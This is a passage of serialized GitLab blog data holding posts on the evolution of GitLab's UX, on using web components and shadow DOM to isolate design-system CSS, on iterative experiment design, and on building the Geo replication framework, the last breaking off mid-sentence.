Issues\n\n\n![Image of GitLab in 2015 vs 2021](https://about.gitlab.com/images/blogimages/ux-evolution/old-v-new.png){: .shadow}\n\nGitLab in 2015 (left) vs 2021 (right)\n{: .note.text-center}\n\n## Looking forward\n\nAs the demand for DevOps tooling has grown, GitLab has followed suit. GitLab used to look a lot different in many ways, but our UI is only the surface of the evolution of UX at GitLab. Our team continually is looking inwards for ways to improve and automate small bits of work. We don't try to conquer everything at once, instead embracing the spirit of iteration the best we can. We're still filling the gaps in our UX Maturity, but it is a journey that we will build together as we work towards the ever-elusive User-Driven corporation (Stage 8).\n\n> You can read more about [how we operate as a UX department](https://about.gitlab.com/handbook/product/ux/#how-we-work) in our handbook.\n\nA previous [UX Showcase presentation](https://docs.google.com/presentation/d/1TGwSz2ctX2uLEKEh0pCEwDPzX21WPt9amDBNFsjJI2g/edit#slide=id.g7f2750be29_0_0) inspired this blog. Check out the showcase on our Unfiltered YouTube Channel. Thank you for the great presentation Dimitrie Hoekstra ([GitLab](https://gitlab.com/dimitrieh), [Twitter](https://twitter.com/dimitrieh)).\n\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n    \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/97bcgynw_zY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n\n",[2249,2248,1307,695,6962],{"slug":18708,"featured":6,"template":678},"the-evolution-of-ux-at-gitlab","content:en-us:blog:the-evolution-of-ux-at-gitlab.yml","The Evolution Of Ux At Gitlab","en-us/blog/the-evolution-of-ux-at-gitlab.yml","en-us/blog/the-evolution-of-ux-at-gitlab",{"_path":18714,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18715,"content":18721,"config":18727,"_id":18729,"_type":16,"title":18730,"_source":17,"_file":18731,"_stem":18732,"_extension":20},"/en-us/blog/using-web-components-to-encapsulate-css-and-resolve-design-system-conflicts",{"title":18716,"description":18717,"ogTitle":18716,"ogDescription":18717,"noIndex":6,"ogImage":18718,"ogUrl":18719,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18719,"schema":18720},"Using web components to encapsulate CSS and resolve design system conflicts","How we used web component technologies like the Shadow DOM to make it easy to incrementally adopt our new design system, Slippers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679537/Blog/Hero%20Images/slippers-sys.jpg","https://about.gitlab.com/blog/using-web-components-to-encapsulate-css-and-resolve-design-system-conflicts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using web components to encapsulate CSS and resolve design system conflicts\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tyler Williams\"}],\n        \"datePublished\": \"2021-05-03\",\n      }",{"title":18716,"description":18717,"authors":18722,"heroImage":18718,"date":18724,"body":18725,"category":734,"tags":18726},[18723],"Tyler Williams","2021-05-03","\n\n## The goal: A new design for the GitLab blog\n\nIn March 2021, the [Digital Experience team](/handbook/marketing/digital-experience/) deployed a new and improved design for the GitLab blog. This design change affected more than 1,300 blog posts. It is the largest exercise to date for [our design system, Slippers](https://gitlab.com/gitlab-com/marketing/digital-experience/slippers-ui). It presented challenges due to the age and size of the GitLab blog. We wanted to live up to GitLab's [iteration value](https://handbook.gitlab.com/handbook/values/#iteration): \"Do the smallest thing possible and get it out as quickly as possible\".\n\n## The major challenge: Incrementally adopting a new design system with conflicting CSS\n\n[Slippers uses Tailwind CSS](https://gitlab-com.gitlab.io/marketing/inbound-marketing/slippers-ui/?path=/story/tailwind-css--page), which comes with its own set of base styles, called [Preflight](https://tailwindcss.com/docs/preflight). Preflight acts like normalizing styles (it's built on top of [modern-normalize](https://github.com/sindresorhus/modern-normalize)), which is useful for new projects, or projects making a full transition. In our case, Preflight is a hurdle because it has to work alongside our existing CSS.\n\nWe explored some out-of-the-box solutions, such as enabling the Tailwind [!important configuration](https://tailwindcss.com/docs/configuration#important), or using a [very specific selector strategy](https://tailwindcss.com/docs/configuration#selector-strategy).\n\nWe got very close to our desired outcome in both cases, but a problem remained:\n\nCritical legacy components required the old CSS. Those old styles were getting past `!important` and selector strategies because they applied to attributes we had not specified in our Tailwind utilities. Resolving those conflicts would take too much time and manual effort. We wanted a more [efficient](https://handbook.gitlab.com/handbook/values/#efficiency) solution, so we focused on two things: Identifying an ideal state for our CSS and finding a better CSS encapsulation. The goal was to prevent existing styles from affecting new components, and new styles from affecting old components.\n\n## The solution: CSS encapsulation with web components\n\n[Web component technologies](https://developer.mozilla.org/en-US/docs/Web/Web_Components) offered a compelling solution to the requirement that we use the old CSS. We used the [shadow DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM) to encapsulate CSS. [Templates and slots](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_templates_and_slots) allowed us to use existing HTML, ERB, and HAML templates. [Custom elements](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements) brought it all together.\n\nIn the [top-level blog template](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/sites/uncategorized/source/includes/cms/blog_post/slippers-blog-post.erb), we placed a [template tag for the blog post markup](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/77190/diffs#5667df8046398e47cb04d02fcc386420afc7ab57_35_28). The `template` tag is valid HTML – meaning our templating engine can process everything inside it. We can use `partial` tags and `yield` as expected and they become part of the template. The output below shows what that looks like (some classes omitted for brevity):\n\n```erb\n\u003Ctemplate id=\"slp-blog\">\n  \u003Cmain class=\"slpBlog\">\n    \u003Cheader class=\"slpBlog__header\">\n      \u003C%= partial \"includes/cms/blog_post/slp-blog-avatar\", locals: { author: author } %>\n      \u003C%= partial \"includes/cms/blog_post/slp-tags\" %>\n      \u003Chr/>\n    \u003C/header>\n    \u003Carticle class=\"slpBlog__article\">\n      \u003C% if current_page.data.image_title %>\n        \u003Cimg alt=\"\" src=\"\u003C%= current_page.data.image_title %>\" width=\"100%\"/>\n      \u003C% end %>\n      \u003C%= yield %>\n    \u003C/article>\n    \u003Caside class=\"slpBlog__aside\">\n      \u003C%= partial \"includes/cms/blog_post/slp-social-follow\" %>\n      \u003Cslot name=\"non-slippers-aside-items\">\u003C/slot>\n    \u003C/aside>\n    \u003Cfooter class=\"slpBlog__footer\">\n      \u003Chr/>\n      \u003C%= partial \"includes/cms/blog_post/slp-related-content\" %>\n      \u003Cslot name=\"non-slippers-footer-items\">\u003C/slot>\n      \u003Chr/>\n    \u003C/footer>\n  \u003C/main>\n\u003C/template>\n\u003Cscript src=\"/javascripts/slippers-blog.js\" type=\"text/javascript\">\u003C/script>\n```\n\nThe top-level template loads [`source/javascripts/slippers-blog.js`](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/source/javascripts/slippers-blog.js) inside the `body` of the document, which blocks rendering until the script finishes loading. `source/javascripts/slippers-blog.js` imports Slippers CSS as a variable [using webpack loader syntax](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/77190/diffs#5b5ceecb366e6e69e99e2bae290c68bae177fc17_0_2). With the CSS stored as a variable, we can inject it into the [custom element definition](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/77190/diffs#5b5ceecb366e6e69e99e2bae290c68bae177fc17_0_6).\n\nNext, we register `slp-blog` as a custom element. When the DOM parses the markup, it will either render the blog post template or, in the rare circumstance our JavaScript didn't load, it will fail. If it fails, we fall back to the [`yield` output in the light DOM](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/77190/diffs#5667df8046398e47cb04d02fcc386420afc7ab57_35_55) to make sure critical content is never lost. In these cases, our static site generator already rendered the template, so the images and text of the blog post remain accessible to the visitor.\n\nHere's what that JavaScript looks like:\n\n```js\nimport Vue from 'vue/dist/vue.min.js'\nimport Slippers from 'slippers-ui/dist/slippersComponents.common.js'\n\n// eslint-disable-next-line import/no-webpack-loader-syntax\nconst css = require(\"!raw-loader!sass-loader!../stylesheets/slippers.css.scss\").default;\n\n// Some event handlers and other requirements omitted for brevity\n\nexport function initializeSlippersWebComponent() {\n    if (window.customElements) {\n        customElements.define('slp-blog',\n            class extends HTMLElement {\n                constructor() {\n                    super();\n                    const template = document.getElementById('slp-blog').content;\n                    const shadowRoot = this.attachShadow({ mode: 'open' });\n                    shadowRoot.innerHTML = `\u003Cstyle>${css}\u003C/style>`;\n                    shadowRoot.appendChild(template.cloneNode(true));\n                }\n            });\n    }\n}\n```\n\nIf the script successfully loads, the light DOM content generated by our fallback `yield` statement is thrown away when the custom component is rendered. This is why we use an inline script tag beforehand - to avoid a [flash of unstyled content](https://en.wikipedia.org/wiki/Flash_of_unstyled_content#:~:text=A%20flash%20of%20unstyled%20content,before%20all%20information%20is%20retrieved.).\n\nFinally, we can use [slots to render non-Slippers items](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/77190/diffs#5667df8046398e47cb04d02fcc386420afc7ab57_40_59). Slotted elements get CSS from the light DOM, so our preexisting [partials and other included templating](https://gitlab.com/gitlab-com/www-gitlab-com/-/tree/master/sites/uncategorized/source/includes/blog) will still work as expected.\n\nOur custom element and its slots look something like this:\n\n```erb\n\u003Cslp-blog>\n  \u003C%= yield %>\n  \u003Cdiv slot=\"non-slippers-aside-items\">\n    \u003C%= partial \"includes/newsletter-signup.html\" %>\n  \u003C/div>\n  \u003Cdiv slot=\"non-slippers-footer-items\">\n    \u003C% unless current_page.data.install_cta == false %>\n      \u003C%= partial \"includes/blog/try\" %>\n    \u003C% end %>\n    \u003C% if ci_environment? %>\n      \u003C%= partial \"includes/blog/comments\" %>\n    \u003C% end %>\n  \u003C/div>\n\u003C/slp-blog>\n```\n\n## Results: Rapid iteration with minimal tradeoffs\n\nOur solution has some tradeoffs:\n\n1. We added complexity to the build process for our blog posts.\n1. Web components have wide browser support, but that's only a recent development. The best practices around these tools are still being debated.\n1. Technically, we added client-side rendering to our statically generated site, meaning we're giving up some of the static site benefits to achieve our CSS encapsulation.\n\nThose tradeoffs are worth it in the end. We achieved near-perfect CSS encapsulation which allowed us to iterate on Slippers and ship the blog template efficiently. We have reasonable fallbacks in place to preserve critical content for people who can't or won't load JavaScript to read our posts. Web components are the future, and we're excited to use them responsibly.\n",[2248,676],{"slug":18728,"featured":6,"template":678},"using-web-components-to-encapsulate-css-and-resolve-design-system-conflicts","content:en-us:blog:using-web-components-to-encapsulate-css-and-resolve-design-system-conflicts.yml","Using Web Components To Encapsulate Css And Resolve Design System Conflicts","en-us/blog/using-web-components-to-encapsulate-css-and-resolve-design-system-conflicts.yml","en-us/blog/using-web-components-to-encapsulate-css-and-resolve-design-system-conflicts",{"_path":18734,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18735,"content":18740,"config":18746,"_id":18748,"_type":16,"title":18749,"_source":17,"_file":18750,"_stem":18751,"_extension":20},"/en-us/blog/why-its-crucial-to-break-things-down-into-smallest-iterations",{"title":18736,"description":18737,"ogTitle":18736,"ogDescription":18737,"noIndex":6,"ogImage":11919,"ogUrl":18738,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18738,"schema":18739},"Why iterative software development is critical","How we learned from our mistakes and adopted an iterative software development mentality to reduce the likelihood of shipping something that doesn't add value.","https://about.gitlab.com/blog/why-its-crucial-to-break-things-down-into-smallest-iterations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why iterative software development is critical\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2021-04-30\",\n      }",{"title":18736,"description":18737,"authors":18741,"heroImage":11919,"date":18743,"body":18744,"category":734,"tags":18745},[18742],"Matej Latin","2021-04-30","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-05-05.\n{: .note .alert-info .text-center}\n\nIn a previous blog post called [Small experiments, significant results](/blog/small-experiments-significant-results-and-learnings/) I shared our recent success with conducting small experiments, but, in reality, we didn't start with the most iterative software development approach. It was the Growth team's early failures to iterate that helped us embrace launching smaller experiments with measurable results.\n\nWhen the [Growth team](/handbook/engineering/development/growth/) formed at GitLab in late 2019, we had little experience with designing, implementing, and shipping experiments intended to accelerate the growth of our user base. We hired experienced people but it was still hard to predict [how long it would take to implement and ship an experiment](/handbook/engineering/development/growth/#running-experiments). The \"Suggest a pipeline\" experiment was the first one I worked on with the Growth:Expansion team. The idea was simple: Guide users through our UI to help them set up a [CI/CD pipeline](/blog/guide-to-ci-cd-pipelines/).\n\n![The guided tour entry](https://about.gitlab.com/images/blogimages/smallest-iterations/suggest.png)\nThe first iteration of the \"suggest a pipeline\" guided tour.\n{: .note.text}\n\n[See the original prototype of the \"suggest a pipeline\" guided tour.](https://www.sketch.com/s/1794d37d-c722-4d32-862e-9c6c5d831149/a/zn1Z9o/play)\n\nThe guided tour would start on the merge request page and ask the user if they want to learn how to set up a CI/CD pipeline. Those who opted in would be led through the three steps required to complete the setup. The team saw this as a simple three-step guide, so we committed ourselves to ship it without first considering if it was the smallest experiment we could complete. We wanted to create a guided tour because it hadn't been done yet at GitLab, but in the end, this wasn't the most iterative software development approach. Today, our thinking is: \"What's the smallest thing we can test and learn from?\"\n\nOne of GitLab's company values is [iteration](https://handbook.gitlab.com/handbook/values/#iteration) which means that we strive to do *the smallest thing possible and get it out as quickly as possible*. The concept of [MVC (minimal viable change)](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) guides this philosophy:\n\n> We encourage MVCs to be as small as possible. Always look to make the quickest change possible to improve the user's outcome.\n\nWhile looking back, I realized we failed to embrace the MVC with the \"suggest a pipeline\" experiment, but I'm grateful for that mistake because it provided us with one of the most valuable lessons: Always strive to complete the smallest viable change first. The idea of iterative software development is valuable even, or maybe especially, with experiments.\n\nBelow are five reasons why it's important to break development down. Small iterations:\n\n- Gets value to the user faster.\n- Decreases the risk of shipping something that doesn't add value.\n- Are easier to isolate and understand the impact of the changes.\n- Ship faster so the team starts learning sooner.\n- Allow teams to begin thinking about further iterations sooner or decide to abandon the experiment earlier (saving both time and resources).\n\n![Small vs large iterations](https://about.gitlab.com/images/blogimages/smallest-iterations/chart.jpg)\nThe power of iterative software development is clear by the two workflows.\n{: .note.text}\n\n\nIn the \"non-experimental work\" figure above, team one shipped a smaller iteration quickly and updated it twice, while team two only shipped one large iteration in the same time. Team one learned from their first small iteration and adapted their solution twice in the time team two shipped a larger iteration. It took team two longer to ship the large iteration and they sacrificed earlier findings they could have used to optimize their solution.\n\nIn the \"experimental work\" figure, team one shipped a smaller first iteration and reviewed early results, which helped them make an evidence-based decision as to iterate further on their first idea, or abandon it and move on to a new idea. Through this iterative software development process, they could either ship three iterations of their first idea or abandon it and start working on the first iteration of idea two. Team one could accomplish all this development in the same amount of time it took team 2 to ship a larger first iteration of idea one. Team one is much more likely to come to successful results and learnings faster than team two.\n\n## How the \"suggest a pipeline\" experiment _should_ have been done\n\nIt's easy to reflect on our project today and see what we did wrong, but such reflection allows us to avoid repeating mistakes. The GitLab guided tour looked like a simple experiment to build and ship, but in the end it wasn't and took months to complete. Overall, the experiment was successful, but after it was implemented we took a second look and saw the project could be improved. We decided to implement some improvements by iterating on the copy in our first nudge to users to encourage more users to opt-in. Had we shipped a smaller experiment sooner, we could have iterated earlier and delivered an optimal version of the first nudge, allowing more users to benefit from the guided tour.\n\n![Had we shipped a smaller iteration, we would have improved the copy of our opt-in nudge to users sooner.](https://about.gitlab.com/images/blogimages/smallest-iterations/copy-changes.jpg)\nThe second iteration of our opt-in copy is much stronger. Shipping a smaller iteration would have encouraged more users to opt-in to our experimental \"guided tour\" feature.\n{: .note.text}\n\nBecause it took us months to complete the implementation of the experiment, it also took us months to iterate on it.\n\nIf I had to do a similar experiment now, I'd start much smaller, with something that could be built and shipped in less than a month, ideally even faster. For example, we could have shipped an iteration with that first nudge linking to an existing source that explains how to set up a pipeline. That would have enabled us to validate the placement of the nudge, its content, and its effectiveness. It would have significantly reduced the risk of the experiment.\n\nOr maybe we could have [shortened the guided tour to be just two steps](https://gitlab.com/gitlab-org/growth/product/-/issues/1662/), which is exactly what [Kevin Comoli](/company/team/#kcomoli), product designer on Growth: Conversion, did. But because our idea already seemed like a small iteration, we never felt the urgency to reduce it further. So here's another reason why it's important to really think about the smallest possible iteration first: you can never be sure that what you're aiming to do will actually be as quick and simple as expected. So even when you think that your idea is the smallest possible iteration, *think again*.\n\n## How we're applying lessons on iteration to future experiments\n\nWhen I started working on the [\"invite members\" experiment](/blog/small-experiments-significant-results-and-learnings/), my vision of how the experience should be was more complex than the \"suggest a pipeline\" guided tour experience. The idea behind the \"invite members\" experiment was that any user could invite their team members to a project and an admin user would have to approve the invitation. But because of our learnings from the pipeline tour we decided to simplify the first experiment. Instead of designing and building a whole experience, we decided to use a [painted door test](https://crstanier.medium.com/a-product-managers-guide-to-painted-door-tests-a1a5de33b473), which essentially means we are focusing on tracking the main call-to-action to gauge user interest. For the \"invite members\" experiment, the painted door test involved displaying an invite link that, once clicked, displayed a message to users that the feature wasn't ready and suggested a temporary solution. This allowed us to validate the riskiest part of the experiment: Do non-admin users even _want_ to invite their colleagues?\n\n![Modal showing \"invite members\" feature isn't ready yet](https://about.gitlab.com/images/blogimages/smallest-iterations/modal-not-ready.png)\nThe \"invite members\" painted door experiment involved displaying a modal showing that the feature wasn't ready yet, but helped us still gauge user interest in the feature before investing resources in developing the feature.\n{: .note.text}\n\n## Why iterative software development matters\n\nWe were lucky with the \"suggest a pipeline\" experiment. It was the first experiment we worked on, and it was \"low hanging fruit\", meaning it was a solution that required limited investment but still delivered big returns, which made the chance of failure lower. As we move away from obvious improvements and start exploring riskier experiments, we won't be able to rely on luck. We need to be diligent about iteration and break things down into MVCs and smaller experiments to reduce the risk of investing development time on projects that don't add value to the user experience, or fail to have a positive impact on GitLab's growth.\n\nPhoto by [Markus Spiske](https://unsplash.com/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/pieces?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[9297,676,2249],{"slug":18747,"featured":6,"template":678},"why-its-crucial-to-break-things-down-into-smallest-iterations","content:en-us:blog:why-its-crucial-to-break-things-down-into-smallest-iterations.yml","Why Its Crucial To Break Things Down Into Smallest Iterations","en-us/blog/why-its-crucial-to-break-things-down-into-smallest-iterations.yml","en-us/blog/why-its-crucial-to-break-things-down-into-smallest-iterations",{"_path":18753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18754,"content":18759,"config":18765,"_id":18767,"_type":16,"title":18768,"_source":17,"_file":18769,"_stem":18770,"_extension":20},"/en-us/blog/how-we-are-closing-the-gap-on-replicating-everything-in-gitlab-geo",{"title":18755,"description":18756,"ogTitle":18755,"ogDescription":18756,"noIndex":6,"ogImage":9591,"ogUrl":18757,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18757,"schema":18758},"How we are closing the gap on replicating *everything* in GitLab Geo","Developing an internal framework to enable other teams to add Geo support for their features","https://about.gitlab.com/blog/how-we-are-closing-the-gap-on-replicating-everything-in-gitlab-geo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we are closing the gap on replicating *everything* in GitLab Geo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Kozono\"}],\n        \"datePublished\": \"2021-04-29\",\n      }",{"title":18755,"description":18756,"authors":18760,"heroImage":9591,"date":18762,"body":18763,"category":18484,"tags":18764},[18761],"Michael Kozono","2021-04-29","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIn early 2020, it took 3.5 months of solid work to implement replication of a new data type in Geo. One year later, support can be added within a month -- including development and all required reviews. How did we do it? First, let me introduce you to Geo.\n\n## What is Geo?\n\n[GitLab Geo](https://about.gitlab.comhttps://docs.gitlab.com/ee/administration/geo/index.html) is the solution for widely distributed development teams and for providing a warm-standby as part of a disaster recovery strategy. Geo replicates your GitLab instance to one or more local, read-only instances.\n\n## What are data types?\n\n[GitLab Geo was released in June 2016 with GitLab 8.9](https://about.gitlab.com/releases/2016/06/22/gitlab-8-9-released/#gitlab-geo-new-product) with the ability to replicate project repositories to a read-only secondary GitLab site. Developers located near secondary sites could fetch project repositories as quickly as if they were near the primary.\n\nBut what about wiki repositories? What about LFS objects or CI job artifacts? In GitLab, each of these things is represented by different Ruby classes, database tables, and storage configurations. In Geo, we call these data types.\n\n## Is it really that hard to copy data?\n\nWhen we say a new data type is supported by Geo, this is what we mean:\n\n* Backfill existing data to Geo secondary sites\n* As fast as possible, replicate new or updated data to Geo secondary sites\n* As fast as possible, replicate deletions to Geo secondary sites\n* Retry replication if it fails, for example due to a transient network failure\n* Eventually recover missing or inconsistent data, for example if Sidekiq jobs are lost, or if infrastructure fails\n* Exclude data according to [selective sync settings](https://docs.gitlab.com/ee/administration/geo/replication/configuration.html#selective-synchronization) on each Geo secondary site\n* Exclude remote stored data unless [Allow this secondary node to replicate content on Object Storage](https://docs.gitlab.com/ee/administration/geo/replication/object_storage.html#enabling-gitlab-managed-object-storage-replication) is enabled on a Geo secondary site\n* Verify data integrity against the primary data, after replication\n* Re-verify data integrity at regular intervals\n* Report metrics to Prometheus\n* Report metrics in the Admin UI\n* View replication and verification status of any individual record in the Admin UI\n* Replication and verification job concurrency is configurable in Admin UI\n* Retry replication if data mismatch is detected ([coming soon to all data types using the framework](https://gitlab.com/gitlab-org/gitlab/-/issues/301244))\n* Allow manual re-replication and re-verification in the Admin UI ([coming soon to all data types using the framework](https://gitlab.com/gitlab-org/gitlab/-/issues/216100))\n* And more\n\n## How to iterate yourself into a problem\n\n[Iteration is a core value](https://handbook.gitlab.com/handbook/values/#iteration) at GitLab. In the case of Geo, by [GitLab 12.3](https://about.gitlab.com/releases/2019/09/22/gitlab-12-3-released/#geo-natively-supports-docker-registry-replication) we had added replication support for the most important data types, for example:\n\n* Project Git repositories\n* Project wiki Git repositories\n* Issue/MR/Epic attachments\n* LFS objects\n* CI job artifacts\n* Container/Docker registry\n\nAnd we had added a slew of features around these data types. But suddenly it was clear we had a problem. **We were falling behind in the race to replicate and verify all of GitLab's data.**\n\n* A new data type was being added by other teams, every few months. It was painful to prioritize 3 months of development time only to add replication to one data type. And even if we caught up, the latest features would always be unsupported by Geo for 3 months.\n* Automatic verification of Project and Wiki repositories was implemented, but adding it to a single data type was going to take 3 months.\n* Maintenance and other new features were increasing in effort due to the amount of code duplication.\n* Our event architecture needed too much boilerplate and overhead to add new events\n\n## How to iterate yourself out of a problem\n\nJust because it's possible to iterate yourself into a problem doesn't mean iteration failed you. Yes, ideally we would have seen this coming earlier. But consider that fast and small iteration has likely saved many hours of upfront work on features that have been quickly validated, and have since been changed or removed. It's also possible to [DRY up](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) code too soon into bad abstractions, which can be painful to tear apart.\n\nBut we reached a point where everyone agreed that the most efficient way forward required consolidating existing code.\n\n### Do the design work\n\n[Fabian](https://gitlab.com/fzimmer), our esteemed product manager, [proposed an epic](https://gitlab.com/groups/gitlab-org/-/epics/2161):\n\n> to build a new geo replication and verification framework with the explicit goal of enabling teams across GitLab to add new data types in a way that supports geo replication out of the box\n\nMost of the logic listed above in [Is it really that hard to copy data?](#is-it-really-that-hard-to-copy-data) is exactly the same for all data types. An internal framework could be used to significantly reduce duplication, which could deliver huge benefits:\n\n* Bugs in the framework only have to be fixed once, increasing reliability and maintainability.\n* New features could be added to the framework for all data types at once, increasing velocity and consistency.\n* Implementation details would be better hidden. Changes outside the framework become safer and easier.\n\nThe proposal went further than making it easy for *ourselves* to add Geo support to new data types. The goal was to make it easy for *non-Geo engineers* to do so. To achieve this goal, the framework must be easy to use, easy to understand, and well-documented. Besides the usual benefits of reducing duplication, this higher standard would help:\n\n* Minimize the effort to implement Geo support of new features, whether it's done by a Geo engineer or not.\n* Minimize lag time to add Geo support. If it's easy to do, and anyone can do it, then it's easy to prioritize.\n* Increase awareness in other teams that new features may require Geo support.\n* Influence the planning of new features. There are ways to make it more difficult to add Geo support. This is much easier to avoid during initial planning.\n\nAs a first step, Fabian [proposed creating a proof of concept of a framework](https://gitlab.com/gitlab-org/gitlab/-/issues/35540) leveraging lessons learned and incorporating improvements we already wanted to make to the existing architecture. The issue stimulated lots of design discussion in the team, as well as multiple POCs riffing off one another.\n\nThe biggest change was the introduction of a `Replicator` class which could be subclassed for every data type. The subclasses would contain the vast majority of the specifics to each data type.\n\nIn order to further reduce duplication, we also introduced the concept of a `Replicator strategy`. Most data types in GitLab could be categorized as blobs (simple files) or Git repositories. Within these categories, there was relatively little logic that needed to be specific to each data type. So we could encapsulate the logic specific to these categories in strategies.\n\nAnother significant decision was to make the event system more flexible and lightweight. We wanted to be able to quickly implement new kinds of events for a `Replicator`. We decided to do this without rewriting the entire event processing layer, by packaging and transmitting `Replicator` events within a single, generic event leveraging the existing heavyweight event system. We could then leave the old system behind, and after migrating all data types to the framework, we could easily replace it.\n\nOnce a vision is chosen, it can be difficult to see how to get there with small iterations. But there are often many ways to go about it.\n\n### Code\n\n#### High-level approach\n\nAt a high-level, we could have achieved our goal by taking two data types that were already supported, DRYing up their code, and refactoring toward the desired architecture. This is a proven, safe, and effective method.\n\nBut to me it felt more palatable overall to deliver customer value along the way, by adding support for a brand-new data type while developing the reusable framework. We already had practice implementing many data types, so there was little risk that we would, for example, take too long or use suboptimal abstractions. So we decided to do this with [Package registry](https://docs.gitlab.com/ee/user/packages/).\n\n#### Lay the foundation\n\nOur POCs already answered the biggest open questions about the shape of the architecture. The next step was to get enough of a skeleton merged, as quickly as possible, so that we could unlock further parallel work. To ensure correctness, we aimed to get something working end-to-end. We decided to implement \"replication of newly created Package files\". Much was left out, for example:\n\n* Replication of changes. (Most Blob types, including Package files, are immutable anyway)\n* Replication of deletes\n* Backfill of existing files\n* Verification was left out entirely from the scope of the first epic, since we already knew replication alone provides most of the value to users.\n\nSince the work still required many specific design decisions, we decided to [pair program](https://en.wikipedia.org/wiki/Pair_programming). [Gabriel Mazetto](https://gitlab.com/brodock) and I used [Zoom](https://zoom.us/) and [Visual Studio Live Share](https://visualstudio.microsoft.com/services/live-share/), which worked well for us, though there are many options available. [See a recording of our first call](https://www.youtube.com/watch?v=2XedCiU634s).\n\n[The spike](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23447) was merged and we thought ourselves safe under the feature flag. Looking back on this particular merge request, we did make a couple mistakes:\n\n1. An [autoloading bug was discovered](https://gitlab.com/gitlab-org/gitlab/-/issues/202044). The merge request was reverted, fixed, and remerged. Thanks to [CI](https://docs.gitlab.com/ee/ci/) and end-to-end QA tests using actual builds, the impact was limited.\n1. The size of the spike was unnecessarily large and difficult to review for a single merge request. As it grew, we should have used it as a \"reference\" merge request from which we could break out smaller merge requests. Since then, GitLab policies have further emphasized [smaller iterations](https://about.gitlab.com/handbook/product/product-principles/#iteration).\n\n#### Build on the foundation\n\nWith the skeleton of the framework in the main branch, we could implement multiple features without excessive conflicts or coordination. The feature flag was enabled on [GitLab's staging environment](https://about.gitlab.com/handbook/engineering/development/enablement/systems/geo/staging.html), and each additional slice of functionality was tested as it was merged. And new issues for bugs and missing features were opened.\n\nWe built up the [developer documentation](https://docs.gitlab.com/ee/development/geo/framework.html) as we went along. In particular, we documented specific instructions to implement a new data type, aimed at developers with no prior knowledge of Geo. These instructions have since been moved to issue templates. For example, [this is the template for adding support to a new Git repository type](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Geo%20Replicate%20a%20new%20Git%20repository%20type.md). This caught a lot of would-be pain points for users of the framework.\n\nFinally, we released [Geo supports replicating GitLab Package Registries in GitLab 13.2](https://about.gitlab.com/releases/2020/07/22/gitlab-13-2-released/#geo-supports-replicating-gitlab-package-registries)!\n\n## Reaping the benefits\n\nFollowing the release of Geo support for Package Registries, we added support for many new data types in quick succession. Automatic verification was added to the framework. This recently culminated in a non-Geo engineer implementing replication *and verification* for a new data type, within one month!\n\n* In GitLab 13.5, [Geo replicates external merge request diffs and Terraform state files](https://about.gitlab.com/releases/2020/10/22/gitlab-13-5-released/#geo-replicates-external-merge-request-diffs-and-terraform-state-files). These were added by Geo engineers who had been less involved in building the framework. Many refinements to the framework, and especially to the documentation, came out of this.\n* In GitLab 13.7, [Geo supports replicating Versioned Snippets](https://about.gitlab.com/releases/2020/12/22/gitlab-13-7-released/#geo-supports-replicating-versioned-snippets). This was also added by a Geo engineer, and it was the first Git repository type in the framework, so it required more work than adding new Blob types.\n* In GitLab 13.10:\n  * [Geo supports replicating Group wikis](https://about.gitlab.com/releases/2021/03/22/gitlab-13-10-released/#geo-supports-replicating-group-wikis) was implemented by a non-Geo engineer.\n  * [Geo verifies replicated package files](https://about.gitlab.com/releases/2021/03/22/gitlab-13-10-released/#geo-verifies-replicated-package-files). This was a big new feature in the framework, adding automatic verification to any data type that can be checksummed.\n* GitLab 13.11:\n  * [Geo supports Pipeline Artifacts](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#geo-supports-pipeline-artifacts) was implemented by a non-Geo engineer.\n  * [Geo verifies replicated Versioned Snippets](https://about.gitlab.com/releases/2021/04/22/gitlab-13-11-released/#geo-verifies-replicated-versioned-snippets).\n* GitLab 13.12:\n  * [An already supported data type, LFS objects, is migrated to the framework under feature flag](https://gitlab.com/gitlab-org/gitlab/-/issues/276696). Following this will be the migration of \"Uploads\" and \"CI Job artifacts\", and then **deleting thousands of lines of code**. This should improve both reliability and velocity, for example, verification will be added to these data types.\n\nIn aggregate:\n\n* In GitLab 12.9, we replicated ~56% of all data types (13 out of 23 in total) and verified ~22%.\n* In GitLab 13.11, we replicate ~86% of all data types (25 out of 29 in total) and verify ~45%.\n* **In the last year, 